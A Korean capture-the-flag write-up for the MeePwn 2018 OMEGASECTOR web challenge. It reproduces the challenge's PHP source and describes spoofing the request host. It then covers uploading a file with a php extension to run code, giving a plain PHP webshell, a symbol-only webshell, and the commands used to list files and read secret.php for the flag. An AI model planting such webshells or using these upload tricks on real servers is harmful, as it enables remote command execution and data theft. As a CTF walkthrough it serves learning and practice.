[MeePwn2018] OMEGASECTOR Write up

2018-07-18

OMEGASECTORMeePwn 2018 CTF에 출제되었던 문제이다.

풀이를 보며 아 왜 난 이 생각을 못했었지! 한 점이 많아서 Write up을 작성 해 본다.

문제 정보는 다음과 같다.

Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me
http://138.68.228.12/

문제에 접속하면 아래와 같은 페이지가 있으며, 소스코드를 확인 해 보면 아래와 같다.

베트남까지 메이플이 퍼졌나보다

<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2><img src="assets/map.jpg" id="taxi" width="55%" height="55%" /><body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>

소스코드에서 보면 is_debug=1이라는 부분이 있다.

때문에 http://138.68.228.12/?is_debug=1로 접속하면 소스코드를 확인할 수 있다.

<?php 
ob_start(); 
session_start(); 
?> 
<html> 
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> 
<head> 
  <link rel="stylesheet" href="assets/omega_sector.css"> 
  <link rel="stylesheet" href="assets/tsu_effect.css"> 
</head> 

<?php 

ini_set("display_errors", 0); 
include('secret.php'); 

$remote=$_SERVER['REQUEST_URI']; 

if(strpos(urldecode($remote),'..')) 
{ 
mapl_die(); 
} 

if(!parse_url($remote, PHP_URL_HOST)) 
{ 
    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; 
} 
$whoareyou=parse_url($remote, PHP_URL_HOST); 


if($whoareyou==="alien.somewhere.meepwn.team") 
{ 
    if(!isset($_GET['alien'])) 
    { 
        $wrong = ' 
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You ALIEN??</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="alien" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 
'; 
        echo $wrong; 
    } 
    if(isset($_GET['alien']) and !empty($_GET['alien'])) 
    { 
         if($_GET['alien']==='@!#$@!@@') 
        { 
            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 
            exit(header( "Location: alien_sector.php" )); 
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 

} 
elseif($whoareyou==="human.ludibrium.meepwn.team") 
{ 
     
    if(!isset($_GET['human'])) 
    { 
        echo ""; 
        $wrong = ' 
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You Human?</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="human" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="human" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 
'; 
        echo $wrong; 
    } 
    if(isset($_GET['human']) and !empty($_GET['human'])) 
    { 
         if($_GET['human']==='Yes') 
        { 
            $_SESSION['auth']=hash('sha256', 'human'.$salt); 
            exit(header( "Location: omega_sector.php" )); 
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 

} 
else 
{ 
    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; 
    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; 
    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") 
    { 
        show_source(__FILE__); 
    } 
} 

?> 
<body background="assets/background.jpg" class="cenback"> 
</body> 
<!-- is_debug=1 --> 
<!-- All images/medias credit goes to nexon, wizet --> 
</html> 
<?php ob_end_flush(); ?> 

소스코드 분석 결과 REQUEST_URIparse_url 한 결과 domain의 값이 alien.somewhere.meepwn.team 혹은 human.ludibrium.meepwn.team여야 한다.

또한 alien.somewhere.meepwn.team일 경우, 쿼리 스트링으로 ?alien=@!#$@!@@을 주어야 하며, human.ludibrium.meepwn.team일 경우에는 ?human=Yes를 주어야 한다.

여기서, REQUEST_URI는 URL 중 / 뒤를 이야기 한다.

예를 들어 URL이 http://example.com/index.php?a=123 일 경우, / 뒤의 index.php?a=123 만을 말한다.

parse_url 함수에 취약점이 있을 것 같아 인터넷을 뒤져보던 중, 아래의 두 링크를 찾을 수 있었다.

여기에서 나온 기법을 바탕으로 다양하게 시도 해 보았지만 아무것도 성공할 수 없었다.

그런데 대회 종료 후 공개된 Write up을 보니 다들 Burp Suite를 사용했다.

왜 이 생각을 못했는지 정말 안타까웠다.

Burp Suite를 실행시킨 후 헤더를 아래와 같이 조작하면 alien 혹은 human 페이지를 확인할 수 있다.

다시 Burp Suite를 이용 해 아래의 값으로 헤더를 조작하면 alien_sector.phpomega_sector.php도 확인할 수 있다.

http://alien.somewhere.meepwn.team/?alien=%40%21%23%24%40%21%40%40
http://human.ludibrium.meepwn.team/?human=Yes
  • alien_sector.php

  • omega_sector.php

각각의 소스코드를 살펴보면 다음과 같다.

  • alien_sector.php
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

<div class="alien_language">
<h2 id="intro" class="neon">Looks like the aliens aren't here, so please leave the message, they will come later.</h2>
</div>
<form action="alien_sector.php" method="POST">
<textarea class="shadow" id="main" name="message"></textarea>
<input type='text' name='type' value='alien' hidden />
<button type="submit" id="button"><div class="alien_language">Save</div></button>
</form>
<body background="assets/alien_sector.jpg" class="cenback"></body>
<audio controls autoplay hidden>
  <source src="assets/omegasector.mp3" type="audio/mpeg">
</audio>
</html>
  • omega_sector.php
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

<h2 id="intro" class="neon">Its MesoRangers Time!!!! Please cheer us via your letter ^_^</h2>
<form action="omega_sector.php" method="POST">
<textarea class="shadow" id="main" name="message"></textarea>
<input type='text' name='type' value='human' hidden />
<button type="submit" id="button">Save</button>
</form>
<img src="assets/mesoranger.png" id="rangers" />
<body background="assets/omega_sector.jpg" class="cenback"></body>
<audio controls autoplay hidden>
  <source src="assets/omegasector.mp3" type="audio/mpeg">
</audio>
</html>

각각의 페이지에선 message를 남길 수 있다.

message를 남길 경우, alien_sector.php에서는 alien_message/hash_value.alien으로, omega_sector.php에서는 human_message/hash_value.human으로 파일을 생성 해 준다.

  • alien_sector.php

  • omega_sector.php

각 페이지에서 메시지를 생성할 때, 메시지 본문 뿐 아니라 type또 함께 전송되는 것을 확인할 수 있다.

이는 각각 alienhuman으로, 각 페이지에서 생성되는 파일의 확장자와 동일하다는 것을 알 수 있다.

만약 typeabc로 바꾼다면, *_message/hash_value.abc로 바뀌어 저장된다.

따라서 type은 파일의 확장자를 설정한다는 것을 알 수 있으며, type의 값을 php로 둔다면 해당 파일의 내용은 message가 되므로, 우리가 원하는 코드를 실행시킬 수 있다.

그런데, alien_sector.php에서는 ?_ 등의 특수문자만 입력되고, 알파벳을 입력 할 경우에는 Uh huh? Wut is this language?를 출력한다.

(참고로 alien_sector.php에서는 외계어로 출력되기 때문에, 개발자 도구Burp Suite를 이용 해 평문을 확인해야 한다. )

반면, omega_sector.php에서는 알파벳이 잘 입력 되지만, 특수문자를 입력 할 경우에는 Uh huh? Wut is this language?를 출력 한다.

즉, 아래의 두 가지 방법 중 하나를 사용해 flag를 읽어야 한다.

  1. 특수문자만으로 내가 원하는 명령어를 실행시킨다.
  2. 특수문자 없이 알파멧 만으로 내가 원하는 명령어를 실행시킨다.

모든 소스코드는 특수문자 없이 구현하기가 매우 어렵다.

따라서 와일드 카드 등을 이용 해 특수문자만으로 원하는 명령어를 실행시키는 것이 더 수월할 수 있다.

때문에 alien_sector.php를 사용 해 문제를 풀기로 했다.

그런데 나는 flag가 어디에 있는지 모르기 때문에 이를 손쉽게 탐색하기 위해서는 웹쉘을 업로드 하는 것이 편하다.

만약 문자의 제한이 없다면 내가 업로드 할 웹쉘 코드는 다음과 같다.

<?php
  system($_GET['a']);
?>

이 경우, 쿼리 스트링으로 ?a=ls 혹은 ?a=cat flag 등을 전달 해 준다면 해당 값이 system 함수의 인자로 들어가 내가 원하는 명령어를 실행할 수 있게 된다.

하지만 이 문제에서는 문자의 제한이 있으므로, 해당 코드를 특수문자로만 구현해야 한다.

고민하던 중, 여기에서 방법을 찾을 수 있었다.

코드를 보기 좋게 정리하면 다음과 같다.

결과적으로 위의 함수는 아래와 같다.

<?=$_GET[_]($_GET[__]);

따라서 해당 페이지에 접속한 후 ?_=system&__=ls와 같이 인자를 넘겨 준다면, 결국 system(ls)가 되어 ls 명령어를 실행한다.

즉, 내가 원하는 명령어를 자유롭게 실행시킬 수 있게된다.

먼저 해당 문자열을 message에 적고, typephp로 해 아래와 같이 파일을 생성 해 주었다.

이 후 생성된 파일에 직접 접근하며, ?_=system&__=ls를 쿼리스트링으로 넘겨주었다.

그 결과, 아래와 같이 ls 명령어가 실행된 것을 확인할 수 있었다.

현재 디렉토리인 alien_message 디렉토리에는 플래그로 보이는 값이 없어, 상위 디렉토리를 확인하기 위해 ?_=system&__=ls ../를 쿼리스트링으로 넘겨주었다.

그 결과 아래와 같은 파일들을 확인할 수 있었다.

alien_message
alien_sector.php
assets
human_message
index.php
omega_sector.php
secret.php

그 중 가장 의심스로운 secret.php 파일을 확인하기 위해 ?_=system&__=cat ../secret.php를 넘겨주었다.

그 결과 이번에도 역시 주석에서 flag를 발견할 수 있었다.

FLAG : MeePwnCTF{__133-221-333-123-111___}